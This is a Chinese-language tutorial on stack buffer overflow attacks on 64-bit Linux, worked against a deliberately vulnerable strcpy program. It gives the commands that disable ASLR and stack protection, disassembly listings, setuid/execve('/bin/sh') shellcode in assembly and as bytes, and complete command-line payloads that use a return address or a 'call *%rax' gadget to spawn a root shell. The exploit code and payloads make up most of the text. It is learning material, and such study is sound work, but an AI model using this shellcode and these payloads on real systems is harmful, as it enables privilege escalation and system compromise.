0x00 buffer overflow攻击基础
本文实验环境为ubuntu 12.04,64bit。参考: 栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限。
0x01 实践
假设我们有这样一个c文件,名为shellcode.c:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[500] = {0x1,0x2,0x3,0x4, 0x5, 0x6, 0x7, 0x8, 0x9};
printf("buf addr %p\n", buffer);
strcpy(buffer, argv[1]);
return 0;
}
我们需要使用buffer overflow攻击获得一个shell。
首先在64位机器上,我们要取消地址随机:
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
其次,编译的时候得让代码能在栈中执行,并且要关掉栈保护:
gcc shellcode.c -fno-stack-protector -z execstack
准备完成后,我们使用objdump -d a.out
,得到如下的汇编文件:
000000000040057d <main>:
40057d: 55 push %rbp
40057e: 48 89 e5 mov %rsp,%rbp
400581: 48 81 ec 10 02 00 00 sub $0x210,%rsp
400588: 89 bd fc fd ff ff mov %edi,-0x204(%rbp)
40058e: 48 89 b5 f0 fd ff ff mov %rsi,-0x210(%rbp)
400595: 48 8d 95 00 fe ff ff lea -0x200(%rbp),%rdx
40059c: b8 00 00 00 00 mov $0x0,%eax
4005a1: b9 3e 00 00 00 mov $0x3e,%ecx
4005a6: 48 89 d7 mov %rdx,%rdi
4005a9: f3 48 ab rep stos %rax,%es:(%rdi)
4005ac: 48 89 fa mov %rdi,%rdx
4005af: 89 02 mov %eax,(%rdx)
4005b1: 48 83 c2 04 add $0x4,%rdx
4005b5: c6 85 00 fe ff ff 01 movb $0x1,-0x200(%rbp)
4005bc: c6 85 01 fe ff ff 02 movb $0x2,-0x1ff(%rbp)
4005c3: c6 85 02 fe ff ff 03 movb $0x3,-0x1fe(%rbp)
4005ca: c6 85 03 fe ff ff 04 movb $0x4,-0x1fd(%rbp)
4005d1: c6 85 04 fe ff ff 05 movb $0x5,-0x1fc(%rbp)
4005d8: c6 85 05 fe ff ff 06 movb $0x6,-0x1fb(%rbp)
4005df: c6 85 06 fe ff ff 07 movb $0x7,-0x1fa(%rbp)
4005e6: c6 85 07 fe ff ff 08 movb $0x8,-0x1f9(%rbp)
4005ed: c6 85 08 fe ff ff 09 movb $0x9,-0x1f8(%rbp)
4005f4: 48 8d 85 00 fe ff ff lea -0x200(%rbp),%rax
4005fb: 48 89 c6 mov %rax,%rsi
4005fe: bf c4 06 40 00 mov $0x4006c4,%edi
400603: b8 00 00 00 00 mov $0x0,%eax
400608: e8 53 fe ff ff callq 400460 <printf@plt>
40060d: 48 8b 85 f0 fd ff ff mov -0x210(%rbp),%rax
400614: 48 83 c0 08 add $0x8,%rax
400618: 48 8b 10 mov (%rax),%rdx
40061b: 48 8d 85 00 fe ff ff lea -0x200(%rbp),%rax
400622: 48 89 d6 mov %rdx,%rsi
400625: 48 89 c7 mov %rax,%rdi
400628: e8 23 fe ff ff callq 400450 <strcpy@plt>
40062d: b8 00 00 00 00 mov $0x0,%eax
400632: c9 leaveq
400633: c3 retq
可以看到,buffer的地址位于$rbp-0x200的地方,而old_rbp应该位于$rbp+0x8的地方,rip又位于old_rbp之后,所以我们要准备一个0x208字节长度的数据,然后再这数据之后添加上buffer的首地址覆盖掉rip,当main函数返回时即可调到buffer首地址开始执行。换算成十进制,我们需要520字节的数据,这些数据中包含了shellcode和一些nop填充,然后在这520字节的数据末尾添加上buffer的首地址。
先介绍一下我们用的shellcode,它的原型如下:
#include <stdio.h>
int main(){
setuid(0);
execve("/bin/sh",NULL,NULL);
}
不过我们并不直接使用它,它的汇编码里包含了很多\x00,会导致字符串截断,我们使用了网上的汇编(参考栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(二)shellcode和Archived Shellcode for various Operating Systems and Architectures):
global _start
_start:
xor rdi,rdi
xor rax,rax
mov al,0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
使用以下命令可以得到其对应的shellcode:
nasm -f elf64 shell.asm
ld -o shell shell.o
objdump -d shell
其shellcode为:
0000000000400080 <_start>:
400080: 48 31 ff xor %rdi,%rdi
400083: 48 31 c0 xor %rax,%rax
400086: b0 69 mov $0x69,%al
400088: 0f 05 syscall
40008a: 48 31 d2 xor %rdx,%rdx
40008d: 48 bb ff 2f 62 69 6e movabs $0x68732f6e69622fff,%rbx
400094: 2f 73 68
400097: 48 c1 eb 08 shr $0x8,%rbx
40009b: 53 push %rbx
40009c: 48 89 e7 mov %rsp,%rdi
40009f: 48 31 c0 xor %rax,%rax
4000a2: 50 push %rax
4000a3: 57 push %rdi
4000a4: 48 89 e6 mov %rsp,%rsi
4000a7: b0 3b mov $0x3b,%al
4000a9: 0f 05 syscall
有了shellcode我们就可以构造下面的代码:
./a.out `python -c "print '\x90'*100"``python -c "print '\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'"``python -c "print '\x90'*377"``python -c "print '\xc0\xda\xff\xff\xff\x7f'"`
其中'\x90'*100
和'\x90'*377
是填充的nop操作,全部放在shellcode之后也可以,之所以在shellcode前后都设置是为了让命中率提高,即使最后的地址\xc0\xda\xff\xff\xff\x7f
稍有偏差也可以成功命中shellcode。我们看一下这些数据的大小:100+377+43=520,其中43为shellcode的长度,然后在这520字节之后填充buffer的首地址,即\xc0\xda\xff\xff\xff\x7f
,这个地址是通过运行一次该文件得到的。
总结一下栈的状态:
0x02 使用寄存器的buffer overflow攻击
实际的操作系统中,不可能将随机地址关掉,这时候我们就只能使用另一种方法,利用寄存器实施攻击。
假设我们的代码现在变成这样:
#include <stdio.h>
#include <string.h>
void evilfunction(char* input)
{
char buffer[500];
strcpy(buffer, input);
}
int main(int argc, char** argv)
{
evilfunction(argv[1]);
return 0;
}
首先,strcpy
函数的原型入下:
char *strcpy(char *dest, const char *src);
它的返回值其实为dest数组的收地址,保存在寄存器rax里,所以strcpy返回的地址就是函数evilfunction里的buffer的地址,也就是说rax寄存器里的地址就是evilfunction里的buffer的起始位置,而非常幸运的是在evilfunction函数中在strcpy后面并没有对rax寄存器做任何操作,而本身函数evilfunction也没有返回值(rax是返回值寄存器),所以rax不会被别的值覆盖掉。
所以,只要能找到一个call %rax的指令地址,就可以执行buffer中的命令了。
0000000000400500 <frame_dummy>:
400500: 48 83 3d 18 09 20 00 cmpq $0x0,0x200918(%rip) # 600e20 <__JCR_END__>
400507: 00
400508: 74 1e je 400528 <frame_dummy+0x28>
40050a: b8 00 00 00 00 mov $0x0,%eax
40050f: 48 85 c0 test %rax,%rax
400512: 74 14 je 400528 <frame_dummy+0x28>
400514: 55 push %rbp
400515: bf 20 0e 60 00 mov $0x600e20,%edi
40051a: 48 89 e5 mov %rsp,%rbp
40051d: ff d0 callq *%rax
40051f: 5d pop %rbp
400520: e9 7b ff ff ff jmpq 4004a0 <register_tm_clones>
400525: 0f 1f 00 nopl (%rax)
400528: e9 73 ff ff ff jmpq 4004a0 <register_tm_clones>
000000000040052d <evilfunction>:
40052d: 55 push %rbp
40052e: 48 89 e5 mov %rsp,%rbp
400531: 48 81 ec 10 02 00 00 sub $0x210,%rsp
400538: 48 89 bd f8 fd ff ff mov %rdi,-0x208(%rbp)
40053f: 48 8b 95 f8 fd ff ff mov -0x208(%rbp),%rdx
400546: 48 8d 85 00 fe ff ff lea -0x200(%rbp),%rax
40054d: 48 89 d6 mov %rdx,%rsi
400550: 48 89 c7 mov %rax,%rdi
400553: e8 b8 fe ff ff callq 400410 <strcpy@plt>
400558: c9 leaveq
我们可以看到,在一个系统函数frame_dummy
中,有这么一行:
40051d: ff d0 callq *%rax
我们只要能调用这条命令就行了,那么我们的payload如下,相比于之前的payload,其实只是最后的地址有改变,变为了上面这条命令的地址40051d
。
./a.out `python -c "print '\x90'*100"``python -c "print '\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'"``python -c "print '\x90'*377"``python -c "print '\x1d\x05\x40\x00'"`
0x03 疑问
- 问:即使关闭了地址随机化,buffer的地址还是会随着输入字符串的长度改变而改变,不太理解为什么。
- 问:为何不能使用直接objdump出的shellcode?